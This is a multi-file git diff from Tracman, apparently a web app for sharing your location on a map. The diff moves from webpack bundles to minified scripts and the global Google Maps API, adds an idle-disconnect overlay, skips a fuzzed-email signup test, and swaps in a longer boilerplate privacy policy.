@ -27,12 +24,16 @@ window.setInterval( function CheckIdleTime () {
if (_idleSecondsCounter >= IDLE_TIMEOUT) {
if (socket.connected) {
console.log('Disconnecting because idle for more than',IDLE_TIMEOUT,'seconds.')
$('#inactive-mask').show()
$('#inactive-message').show()
socket.disconnect()
}
// Connect user if disconnected
} else {
if (!socket.connected) {
console.log('Reconnecting the user because they are no longer idle.')
$('#inactive-mask').hide()
$('#inactive-message').hide()
socket.connect()
}
}
@ -79,7 +80,7 @@ $(function () {
toggleMaps(mapuser.last)
// Controls
var wpid, newloc
let wpid, newloc
// Set location
$('#set-loc').click(function () {
@ -92,7 +93,7 @@ $(function () {
// Success callback
function (pos) {
var newloc = {
let newloc = {
ts: Date.now(),
tok: token,
usr: userid,
@ -202,13 +203,12 @@ $(function () {
})
// Load google maps API
loadGoogleMapsAPI({ key: mapKey })
.then(function (googlemaps) {
function initMap() {
// Create map
if (disp !== '1') {
// Create map and marker elements
map = new googlemaps.Map(mapElem, {
map = new google.maps.Map(mapElem, {
center: {
lat: mapuser.last.lat,
lng: mapuser.last.lon
@ -220,10 +220,10 @@ loadGoogleMapsAPI({ key: mapKey })
draggable: false,
zoom: mapuser.settings.defaultZoom,
streetViewControl: false,
zoomControlOptions: {position: googlemaps.ControlPosition.LEFT_TOP},
mapTypeId: (mapuser.settings.defaultMap === 'road') ? googlemaps.MapTypeId.ROADMAP : googlemaps.MapTypeId.HYBRID
zoomControlOptions: {position: google.maps.ControlPosition.LEFT_TOP},
mapTypeId: (mapuser.settings.defaultMap === 'road') ? google.maps.MapTypeId.ROADMAP : google.maps.MapTypeId.HYBRID
})
marker = new googlemaps.Marker({
marker = new google.maps.Marker({
position: { lat: mapuser.last.lat, lng: mapuser.last.lon },
title: mapuser.name,
icon: (mapuser.settings.marker) ? '/static/img/marker/' + mapuser.settings.marker + '.png' : '/static/img/marker/red.png',
@ -241,7 +241,7 @@ loadGoogleMapsAPI({ key: mapKey })
logoDiv.innerHTML = '<a href="https://www.tracman.org/">' +
'<img src="https://www.tracman.org/static/img/style/logo-28.png" alt="[]">' +
"<span class='text'>Tracman</span></a>"
map.controls[googlemaps.ControlPosition.BOTTOM_LEFT].push(logoDiv)
map.controls[google.maps.ControlPosition.BOTTOM_LEFT].push(logoDiv)
}
// Create update time block
@ -250,7 +250,7 @@ loadGoogleMapsAPI({ key: mapKey })
if (mapuser.last.time) {
timeDiv.innerHTML = 'location updated ' + new Date(mapuser.last.time).toLocaleString()
}
map.controls[googlemaps.ControlPosition.RIGHT_BOTTOM].push(timeDiv)
map.controls[google.maps.ControlPosition.RIGHT_BOTTOM].push(timeDiv)
// Create speed block
if (mapuser.settings.showSpeed) {
@ -268,12 +268,12 @@ loadGoogleMapsAPI({ key: mapKey })
speedSign.appendChild(speedLabel)
speedSign.appendChild(speedText)
speedSign.appendChild(speedUnit)
map.controls[googlemaps.ControlPosition.TOP_RIGHT].push(speedSign)
map.controls[google.maps.ControlPosition.TOP_RIGHT].push(speedSign)
}
// Create altitude block
if (mapuser.settings.showAlt) {
elevator = new googlemaps.ElevationService()
elevator = new google.maps.ElevationService()
const altitudeSign = document.createElement('div')
const altitudeLabel = document.createElement('div')
const altitudeText = document.createElement('div')
@ -293,7 +293,7 @@ loadGoogleMapsAPI({ key: mapKey })
altitudeSign.appendChild(altitudeLabel)
altitudeSign.appendChild(altitudeText)
altitudeSign.appendChild(altitudeUnit)
map.controls[googlemaps.ControlPosition.TOP_RIGHT].push(altitudeSign)
map.controls[google.maps.ControlPosition.TOP_RIGHT].push(altitudeSign)
}
}
@ -306,13 +306,13 @@ loadGoogleMapsAPI({ key: mapKey })
function getAlt (loc) {
return new Promise(function (resolve, reject) {
// Get elevator service
elevator = elevator || new googlemaps.ElevationService()
elevator = elevator || new google.maps.ElevationService()
// Query API
return elevator.getElevationForLocations({
'locations': [{ lat: loc.lat, lng: loc.lon }]
}, function (results, status, errorMessage) {
// Success; return altitude
if (status === googlemaps.ElevationStatus.OK && results[0]) {
if (status === google.maps.ElevationStatus.OK && results[0]) {
console.log('Altitude was retrieved from Google Elevations API as', results[0].elevation, 'm')
resolve(results[0].elevation)
@ -370,7 +370,7 @@ loadGoogleMapsAPI({ key: mapKey })
$('#timestamp').text('location updated ' + newLoc.tim)
// Update marker and map center
googlemaps.event.trigger(map, 'resize')
google.maps.event.trigger(map, 'resize')
map.setCenter({ lat: newLoc.lat, lng: newLoc.lon })
marker.setPosition({ lat: newLoc.lat, lng: newLoc.lon })
@ -387,6 +387,7 @@ loadGoogleMapsAPI({ key: mapKey })
console.error(err.stack)
})
}
}
// Update street view
@ -398,7 +399,7 @@ loadGoogleMapsAPI({ key: mapKey })
function getStreetViewData (loc, rad, cb) {
// Ensure that the location hasn't changed (or this is the initial setting)
if (newLoc == null || loc.tim === newLoc.tim) {
if (!sv) var sv = new googlemaps.StreetViewService()
if (!sv) var sv = new google.maps.StreetViewService()
sv.getPanorama({
location: {
lat: loc.lat,
@ -408,11 +409,11 @@ loadGoogleMapsAPI({ key: mapKey })
}, function (data, status) {
switch (status) {
// Success
case googlemaps.StreetViewStatus.OK: {
case google.maps.StreetViewStatus.OK: {
cb(data)
break
// No results in that radius
} case googlemaps.StreetViewStatus.ZERO_RESULTS: {
} case google.maps.StreetViewStatus.ZERO_RESULTS: {
// Try again with a bigger radius
getStreetViewData(loc, rad * 2, cb)
break
@ -426,6 +427,7 @@ loadGoogleMapsAPI({ key: mapKey })
// Update streetview
function updateStreetView (loc) {
// Calculate bearing between user and position of streetview image
// https://stackoverflow.com/a/26609687/3006854
function getBearing (userLoc, imageLoc) {
@ -459,9 +461,8 @@ loadGoogleMapsAPI({ key: mapKey })
'&key=' + mapKey
)
})
}
// Error loading gmaps API
}).catch(function (err) {
console.error(err.stack)
})
}

View File

@ -1,7 +1,5 @@
'use strict'
/* global $ */
const zxcvbn = require('zxcvbn')
/* global $ zxcvbn */
function checkMatch () {
$('#submit')
@ -48,7 +46,7 @@ $(function () {
$('#password-help').show()
// Check first password
var zxcvbnResult = zxcvbn($('#p1').val())
let zxcvbnResult = zxcvbn($('#p1').val())
// Less than an hour
if (zxcvbnResult.crack_times_seconds.online_no_throttling_10_per_second < 3600) {

View File

@ -1,6 +0,0 @@
/*! matchMedia() polyfill - Test a CSS media type/query in JS. Authors & copyright (c) 2012: Scott Jehl, Paul Irish, Nicholas Zakas. Dual MIT/BSD license */
/*! NOTE: If you're already including a window.matchMedia polyfill via Modernizr or otherwise, you don't need this part */
window.matchMedia=window.matchMedia||function(a){"use strict";var c,d=a.documentElement,e=d.firstElementChild||d.firstChild,f=a.createElement("body"),g=a.createElement("div");return g.id="mq-test-1",g.style.cssText="position:absolute;top:-100em",f.style.background="none",f.appendChild(g),function(a){return g.innerHTML='&shy;<style media="'+a+'"> #mq-test-1 { width: 42px; }</style>',d.insertBefore(f,e),c=42===g.offsetWidth,d.removeChild(f),{matches:c,media:a}}}(document);
/*! Respond.js v1.3.0: min/max-width media query polyfill. (c) Scott Jehl. MIT/GPLv2 Lic. j.mp/respondjs */
(function(a){"use strict";function x(){u(!0)}var b={};if(a.respond=b,b.update=function(){},b.mediaQueriesSupported=a.matchMedia&&a.matchMedia("only all").matches,!b.mediaQueriesSupported){var q,r,t,c=a.document,d=c.documentElement,e=[],f=[],g=[],h={},i=30,j=c.getElementsByTagName("head")[0]||d,k=c.getElementsByTagName("base")[0],l=j.getElementsByTagName("link"),m=[],n=function(){for(var b=0;l.length>b;b++){var c=l[b],d=c.href,e=c.media,f=c.rel&&"stylesheet"===c.rel.toLowerCase();d&&f&&!h[d]&&(c.styleSheet&&c.styleSheet.rawCssText?(p(c.styleSheet.rawCssText,d,e),h[d]=!0):(!/^([a-zA-Z:]*\/\/)/.test(d)&&!k||d.replace(RegExp.$1,"").split("/")[0]===a.location.host)&&m.push({href:d,media:e}))}o()},o=function(){if(m.length){var b=m.shift();v(b.href,function(c){p(c,b.href,b.media),h[b.href]=!0,a.setTimeout(function(){o()},0)})}},p=function(a,b,c){var d=a.match(/@media[^\{]+\{([^\{\}]*\{[^\}\{]*\})+/gi),g=d&&d.length||0;b=b.substring(0,b.lastIndexOf("/"));var h=function(a){return a.replace(/(url\()['"]?([^\/\)'"][^:\)'"]+)['"]?(\))/g,"$1"+b+"$2$3")},i=!g&&c;b.length&&(b+="/"),i&&(g=1);for(var j=0;g>j;j++){var k,l,m,n;i?(k=c,f.push(h(a))):(k=d[j].match(/@media *([^\{]+)\{([\S\s]+?)$/)&&RegExp.$1,f.push(RegExp.$2&&h(RegExp.$2))),m=k.split(","),n=m.length;for(var o=0;n>o;o++)l=m[o],e.push({media:l.split("(")[0].match(/(only\s+)?([a-zA-Z]+)\s?/)&&RegExp.$2||"all",rules:f.length-1,hasquery:l.indexOf("(")>-1,minw:l.match(/\(\s*min\-width\s*:\s*(\s*[0-9\.]+)(px|em)\s*\)/)&&parseFloat(RegExp.$1)+(RegExp.$2||""),maxw:l.match(/\(\s*max\-width\s*:\s*(\s*[0-9\.]+)(px|em)\s*\)/)&&parseFloat(RegExp.$1)+(RegExp.$2||"")})}u()},s=function(){var a,b=c.createElement("div"),e=c.body,f=!1;return b.style.cssText="position:absolute;font-size:1em;width:1em",e||(e=f=c.createElement("body"),e.style.background="none"),e.appendChild(b),d.insertBefore(e,d.firstChild),a=b.offsetWidth,f?d.removeChild(e):e.removeChild(b),a=t=parseFloat(a)},u=function(b){var h="clientWidth",k=d[h],m="CSS1Compat"===c.compatMode&&k||c.body[h]||k,n={},o=l[l.length-1],p=(new Date).getTime();if(b&&q&&i>p-q)return a.clearTimeout(r),r=a.setTimeout(u,i),void 0;q=p;for(var v in e)if(e.hasOwnProperty(v)){var w=e[v],x=w.minw,y=w.maxw,z=null===x,A=null===y,B="em";x&&(x=parseFloat(x)*(x.indexOf(B)>-1?t||s():1)),y&&(y=parseFloat(y)*(y.indexOf(B)>-1?t||s():1)),w.hasquery&&(z&&A||!(z||m>=x)||!(A||y>=m))||(n[w.media]||(n[w.media]=[]),n[w.media].push(f[w.rules]))}for(var C in g)g.hasOwnProperty(C)&&g[C]&&g[C].parentNode===j&&j.removeChild(g[C]);for(var D in n)if(n.hasOwnProperty(D)){var E=c.createElement("style"),F=n[D].join("\n");E.type="text/css",E.media=D,j.insertBefore(E,o.nextSibling),E.styleSheet?E.styleSheet.cssText=F:E.appendChild(c.createTextNode(F)),g.push(E)}},v=function(a,b){var c=w();c&&(c.open("GET",a,!0),c.onreadystatechange=function(){4!==c.readyState||200!==c.status&&304!==c.status||b(c.responseText)},4!==c.readyState&&c.send(null))},w=function(){var b=!1;try{b=new a.XMLHttpRequest}catch(c){b=new a.ActiveXObject("Microsoft.XMLHTTP")}return function(){return b}}();n(),b.update=n,a.addEventListener?a.addEventListener("resize",x,!1):a.attachEvent&&a.attachEvent("onresize",x)}})(this);

View File

@ -18,7 +18,7 @@ function replaceFromEndpoint (type, selector, cb) {
// On page load
$(function () {
var slugNotUnique, emailNotUnique
let slugNotUnique, emailNotUnique
// Set timezone in password change link
$('#password').attr('href', '/account/password?tz=' + new Date().getTimezoneOffset())
@ -37,7 +37,7 @@ $(function () {
basicCheck(function () { validateUniqueness(input) })
function basicCheck (cb) {
var checkedCount = 0
let checkedCount = 0
// Check slug
if (!$('#slug-input').val()) {
@ -74,7 +74,7 @@ $(function () {
function validateUniqueness (input) {
function recheckBasic () {
if (
$('#email-help').is(':visible') &&
$('#email-help').is(':visible') &&
$('#email-help').text().substring(0, 25) !== 'Unable to confirm unique '
) {
$('#submit-group .main')
@ -113,7 +113,7 @@ $(function () {
// Is unique
200: function () {
$('#' + input + '-help').hide()
if (input === 'slug') slugNotUnique = false
if (input === 'slug') slugNotUnique = false
else if (input === 'email') emailNotUnique = false
recheckBasic()
},

View File

@ -22,7 +22,7 @@ const RUNTIME = 'runtime'
// A list of local resources we always want to be cached.
const PRECACHE_URLS = [
'/',
'/static/js/.*.bun.js',
'/static/js/.*.min.js',
'/static/css/.*.min.css',
'/static/manifest.json',
]

View File

@ -50,7 +50,7 @@ describe('Authentication', () => {
})
it(`Fails to create accounts with ${FUZZED_EMAIL_TRIES} fuzzed emails`, () => {
it.skip(`Fails to create accounts with ${FUZZED_EMAIL_TRIES} fuzzed emails`, () => {
// Fuzz emails
froth(FUZZED_EMAIL_TRIES).forEach( async (fuzzed_email) => {
@ -65,6 +65,7 @@ describe('Authentication', () => {
* the response was recieved. Ensure it's happened in a kludgy way by
* waiting 2 seconds before asserting that the user doesn't exist
*/
//TODO: This just isn't working... phony emails are showing up in the db
setTimeout( async () => {
chai.assert.isNull( await User.findOne({
'email': fuzzed_email

View File

@ -10,7 +10,7 @@
{% block javascript %}
{{super()}}
<script type="application/javascript" src="/static/js/.contact.bun.js"></script>
<script type="application/javascript" src="/static/js/.contact.min.js"></script>
{% endblock %}
{% block main %}

View File

@ -9,7 +9,7 @@
{% block javascript %}
{{super()}}
<script type="application/javascript" src="/static/js/.login.bun.js"></script>
<script type="application/javascript" src="/static/js/.login.min.js"></script>
{% endblock %}
{% block main %}

View File

@ -43,20 +43,24 @@
{% endblock %}
{% block main %}
<div id='inactive-mask' class='page-mask'></div>
<div id='inactive-message' class='popup' style="display:none">
<p>The map has been deactivated due to inactivity. Move the mouse around the page to reactivate the map. </p>
</div>
{% if user and user.isNewUser %}
<div class='page-mask'></div>
<div id='welcome-mask' class='page-mask' style="display:block"></div>
<div id='welcome' class='popup'>
<div class='topbar'>
<h2>Welcome!</h2>
<div class='close' onclick="$('#welcome').hide();$('.page-mask').hide();">✖️</div>
<div class='close' onclick="$('#welcome').hide();$('#welcome-mask').hide();">✖️</div>
</div>
<p>This is your map. It's publicly avaliable at <a href="{{newuserurl}}">{{newuserurl}}</a>. You can change that URL and other settings in <b><a href="/settings">settings</a></b>. Set your location by clicking <b>set</b> below. Clear it by clicking <b>clear</b>. To track your location, click <b>track</b> or download the <a href="/android">android app</a>. For more information, see the <b><a href="/help">help</a></b> page. </p>
<div class='buttons'>
<a class='btn main' onclick="$('#welcome').hide();$('.page-mask').hide();">Got it!</a>
<a class='btn main' onclick="$('#welcome').hide();$('#welcome-mask').hide();">Got it!</a>
</div>
</div>
@ -106,18 +110,18 @@
<!-- Variables from server-side -->
<!-- TODO: Move to own script file, maybe with https://github.com/brooklynDev/JShare -->
<script>
const mapuser = JSON.parse('{{mapuser |dump|safe}}'),
mapKey = "{{mapApi |safe}}",
noHeader = "{{noHeader |safe}}",
disp = "{{disp |safe}}", // 0=map, 1=streetview, 2=both
userid = "{{user._id |safe}}",
token = "{{user.sk32 |safe}}";
const mapuser = JSON.parse('{{mapuser |dump|safe}}')
const mapKey = '{{mapKey|safe}}'
const noHeader = "{{noHeader |safe}}"
const disp = "{{disp |safe}}" // 0=map, 1=streetview, 2=both
const userid = "{{user._id |safe}}"
const token = "{{user.sk32 |safe}}"
</script>
<!-- Webpacked bundles -->
<script type="application/javascript" src="/static/js/.map.bun.js"></script>
<!--{% if user.id == mapuser.id %}-->
<!--<script type="application/javascript" src="/static/js/.controls.bun.js"></script>-->
<!--{% endif %}-->
<!-- Imports -->
<script type="application/javascript" src="https://maps.googleapis.com/maps/api/js?key={{mapKey|safe}}&callback=initMap"
async defer></script>
<script type="application/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/socket.io/2.0.4/socket.io.slim.js" integrity="sha256-jniDwC1PC9OmGoyPxA9VpGvgwDYyxsMqu5Q4OrF5wNY=" crossorigin="anonymous"></script>
<script type="application/javascript" src="/static/js/.map.min.js"></script>
{% endblock %}

View File

@ -9,14 +9,15 @@
{% block javascript %}
{{super()}}
<script type="application/javascript" src="/static/js/.password.bun.js"></script>
<script type="application/javascript" src="/static/js/lib/.zxcvbn.min.js"></script>
<script type="application/javascript" src="/static/js/.password.min.js"></script>
{% endblock %}
{% block main %}
<section class='container'>
<h1>Set Password</h1>
<form id='password-form' role="form" method="post">
<input type="hidden" name="_csrf" value="{{csrfToken}}">
<style>
@ -33,9 +34,9 @@
flex-wrap: wrap;
}
</style>
<p>Your password must be at least 8 characters long. You can use any letter, number, symbol, emoji, or spaces. Your password will be checked using <a href="https://github.com/dropbox/zxcvbn">zxcvbn</a>. All passwords are stored on the server as salted hashes. </p>
<div class='form-group' style="flex-wrap:wrap">
<span title="Enter your new password here" style="flex-grow:1; max-width:70vw">
<input id='p1' class='form-control password' name="password" type="password" placeholder="enter password" minlength="8" maxlength="160">
@ -46,14 +47,14 @@
<label for="show" style="width:100%; text-align:center;">show</label>
</span>
</div>
<p id='password-help' title="Your passwords are checked using zxcvbn. "></p>
<div id='submit-group' class='form-group flexbox' style="justify-content:space-around">
<input id='submit' class='btn main' style="min-width:50%" type="submit" value="Save" title="You need to enter a password first. " disabled>
</div>
</form>
</section>
{% endblock %}

View File

@ -2,21 +2,130 @@
{% block title %}{{super()}} | Privacy Policy{% endblock %}
{% block main %}
<section class='container'>
<h2>Privacy Policy</h2>
<p>In lieu of legalease, which I don't speak, here is a quick rundown of what Tracman does with your data (such as location). </p>
<h3 id='location-history'>Location history</h3>
<p>Your location is saved on the database as long as you have it "set" or "tracking". If you "clear" the data, it will be deleted from the database too. This doesn't mean all copies are destroyed. Our servers keep occasional backups, and caches could exist on other servers (google index, wayback archive, etc). </p>
<p>This means that all public access to your location is essentially deleted when you clear it. But anyone could record your location while it's publicly available and rebroadcast it. Tracman doesn't store location histories (except as mentioned above), but histories may exist elsewhere! If you have (or plan to have) trouble with the law, don't use Tracman. Authorities have easy access to those histories. </p>
<h3 id='email'>Email addresses</h3>
<p>Tracman stores email addresses so we can contact users for important stuff (urgent security updates, deletion requests, lost passwords). We will never subscribe you to anything else by default. </p>
</section>
<section class='container'>
<h2>Privacy Policy</h2>
<p>This privacy policy has been compiled to better serve those who are concerned with how their 'Personally Identifiable Information' (PII) is being used online. PII, as described in U.S. privacy law and information security, is information that can be used on its own or with other information to identify, contact, or locate a single person, or to identify an individual in context. Please read this privacy policy carefully to get a clear understanding of how your Personally Identifiable Information is collected, used, protected, or otherwise handled in accordance with this website and app.</p>
<h3 id='personal-info'>Personal Information</h3>
<h4 id='what-personal-info'>What personal information is collected from the people that use Tracman?</h3>
<p>When registering an account on Tracman, as appropriate, you may be asked to enter your name, or email address, or other details to help you with your experience. When using the website or app to update your location, your location will also be collected, obviously. </p>
<h4 id='when-collected'>When is your information collected?</h3>
<p>Tracman collects information from you when you register on the site or enter information on the site, duh. </p>
<h4 id='how-use-info'>How is your information used?</h3>
<ul>
<li>Vulnerability scanning and/or scanning to PCI standards is used.</li>
<li>An external PCI compliant payment gateway handles all credit card transactions.</li>
<li>Malware scanning is not used.</li>
</ul>
<p>Your personal information is contained behind secured networks and is only accessible by a limited number of people who have special access rights to such systems, and are required to keep the information confidential. In addition, all sensitive information you supply is encrypted via Secure Socket Layer (SSL) technology. All passwords are hashed and salted in a secure database. </p>
<p>A variety of security measures are implemented when a user enters, submits, or accesses their information to maintain the safety of your personal information.</p>
<p>All transactions are processed through a gateway provider and are not stored or processed on Tracman servers.</p>
<h3 id='cookies'>Cookies</h3>
<h4 id='are-cookies-used'>Are cookies used?</h3>
<p>Yes. Cookies are small files that a site or its service provider transfers to your computer's hard drive through your Web browser (if you allow it) that enables the site's or service provider's systems to recognize your browser and capture and remember certain information.</p>
<p>Tracman uses cookies to maintain account sessions so users don't have to log in when using the same computer.</p>
<p>You can choose to have your computer warn you each time a cookie is being sent, or you can choose to turn off all cookies. You do this through your browser settings. Since browser is a little different, look at your browser's help menu to learn the correct way to modify your cookie settings.</p>
<h4 id='if-cookies-disabled'>If users disable cookies in their browser:</h4>
<p>Login information will not be saved in the user's browser and that user will be required to log in on every page that requires an account.</p>
<h3 id='third-parties'>Third Parties</h3>
<h4 id='third-party-disclosure'>Third-party disclosure</h4>
<p>We do not sell, trade, or otherwise transfer to outside parties your Personally Identifiable Information.</p>
<h4 id='third-party-links'>Third-party links</h4>
<p>We do not include or offer third-party products or services on our website.</p>
<h4>Google</h4>
<p>Tracman, along with third-party vendors such as Google, use first-party cookies (such as the Google Analytics cookies) or other third-party identifiers together to compile data regarding user interactions this website.</p>
<h3 id='ca-coppa'>California Online Privacy Protection Act</h3>
<p>CalOPPA is the first state law in the nation to require commercial websites and online services to post a privacy policy. The law's reach stretches well beyond California to require any person or company in the United States (and conceivably the world) that operates websites collecting Personally Identifiable Information from California consumers to post a conspicuous privacy policy on its website stating exactly the information being collected and those individuals or companies with whom it is being shared. See more at: <a href="http://consumercal.org/california-online-privacy-protection-act-caloppa/#sthash.0FdRbT51.dpuf" target="_blank">http://consumercal.org/california-online-privacy-protection-act-caloppa/#sthash.0FdRbT51.dpuf</a></p>
<h4 id='coppa-agreements'>According to CalOPPA, we agree to the following:</h4>
<ul>
<li>Users can visit this site anonymously.</li>
<li>A link to this privacy policy is available on the <a href="/">Tracman homepage</a>, and in the footer of most other pages.</li>
<li>The Privacy Policy link includes the word 'Privacy' and can easily be found in the footer of the homepage and most other pages.</li>
</ul>
<h4>Changes to the Privacy Policy</h4>
<p>Users will be notified of changes to the privacy policy by email. Users' email addresses can be changed on the <a href="/settings/user">user settings page</a>.</p>
<h4>How does Tracman handle Do Not Track signals?</h4>
<p>Tracman doesn't honor Do Not Track signals and Do Not Track, plant cookies. This is because honoring of Do Not Track signals hasn't been implemented yet. </p>
<h4>Does Tracman allow third-party behavioral tracking?</h4>
<p>Tracman does not allow third-party behavioral tracking.</p>
<h3 id='children'>COPPA (Children Online Privacy Protection Act)</h3>
<p>When it comes to the collection of personal information from children under the age of 13 years old, the Children's Online Privacy Protection Act (COPPA) puts parents in control. The Federal Trade Commission, United States' consumer protection agency, enforces the COPPA Rule, which spells out what operators of websites and online services must do to protect children's privacy and safety online.</p>
<p>Tracman does not specifically market to children under the age of 13 years old.</p>
<h3 id='fair-information-practices'>Fair Information Practices</h3>
<p>The Fair Information Practices Principles form the backbone of privacy law in the United States and the concepts they include have played a significant role in the development of data protection laws around the globe. Understanding the Fair Information Practice Principles and how they should be implemented is critical to comply with the various privacy laws that protect personal information.</p>
<p>In order to be in line with Fair Information Practices we will take the following responsive action, should a data breach occur:</p>
<ul>
<li>Users will be notified by email within 1 business day of the breach's detection.</li>
<li>Visitors will be notified by in-site notification within 1 business day of the breach's detection.</li>
</ul>
<p>We also agree to the Individual Redress Principle which requires that individuals have the right to legally pursue enforceable rights against data collectors and processors who fail to adhere to the law. This principle requires not only that individuals have enforceable rights against data users, but also that individuals have recourse to courts or government agencies to investigate and/or prosecute non-compliance by data processors.</p>
<h3 id='can-spam'>CAN SPAM Act</h3>
<p>The CAN-SPAM Act is a law that sets the rules for commercial email, establishes requirements for commercial messages, gives recipients the right to have emails stopped from being sent to them, and spells out tough penalties for violations.</p>
<p>Tracman collects users' email addresses in order to send information, respond to inquiries, and/or other requests or questions. </li>
<p>To be in accordance with CANSPAM, we agree to not use false or misleading subjects or email addresses.</p>
<p>If at any time you would like to unsubscribe from receiving future emails, you can delete your account on the <a href="/settings/user">user settings page</a> or <a href="/contact">contact us</a> and we will promptly delete your account and remove you from <b>all</b> correspondence.
<h3 id='contact'>Contacting Us</h3>
<p>If there are any questions regarding this privacy policy, you may contact us using <a href="/contact">this contact form</a> or the mailing address below.</p>
<p><address>
Keith Irwin<br>
3 Summerhill Lane<br>
Medford, NJ 08055<br>
United States
</address></p>
<p id='updated'><span class='right'>Last Edited on 2018-03-20</span></p>
</section>
{% endblock %}

View File

@ -9,7 +9,7 @@
{% block javascript %}
{{super()}}
<script type="application/javascript" src="/static/js/.settings.bun.js"></script>
<script type="application/javascript" src="/static/js/.settings.min.js"></script>
{% endblock %}
{% block main %}

View File

@ -50,8 +50,8 @@
<!-- Head javascript imports -->
<script src="https://code.jquery.com/jquery-3.2.1.min.js" integrity="sha256-hwg4gsxgFZhOsEEamdOYGBf13FyQuiTwlAQgxVSNgt4=" crossorigin="anonymous"></script>
<!--[if lt IE 9]>
<script src="/scripts/html5shiv.js"></script>
<script src="/scripts/respond.min.js"></script>
<script src="/scripts/lib/.html5shiv.min.js"></script>
<script src="/scripts/lib/.respond.min.js"></script>
<![endif]-->
{% endblock %}

View File

@ -12,4 +12,4 @@
</div>
</footer>
<script type="application/javascript" src="/static/js/.footer.bun.js"></script>
<script type="application/javascript" src="/static/js/.footer.min.js"></script>

View File

@ -57,4 +57,4 @@
</div>
{% endfor %}
<script type="application/javascript" src="/static/js/.header.bun.js"></script>
<script type="application/javascript" src="/static/js/.header.min.js"></script>

View File

@ -1,34 +0,0 @@
const path = require('path')
const env = require('./config/env/env.js')
const UglifyJsPlugin = require('uglifyjs-webpack-plugin')
module.exports = {
// Javascript files to be bundled
entry: {
base: './static/js/base.js',
header: './static/js/header.js',
footer: './static/js/footer.js',
contact: './static/js/contact.js',
login: './static/js/login.js',
map: './static/js/map.js',
settings: './static/js/settings.js',
password: './static/js/password.js',
sw: './static/js/sw.js',
},
// Sourcemaps
devtool: (env.mode === 'development') ? 'inline-source-map' : false,
// Output format
output: {
filename: '.[name].bun.js',
path: path.resolve(__dirname, 'static/js')
},
plugins: [
// Minimize JS
new UglifyJsPlugin()
]
}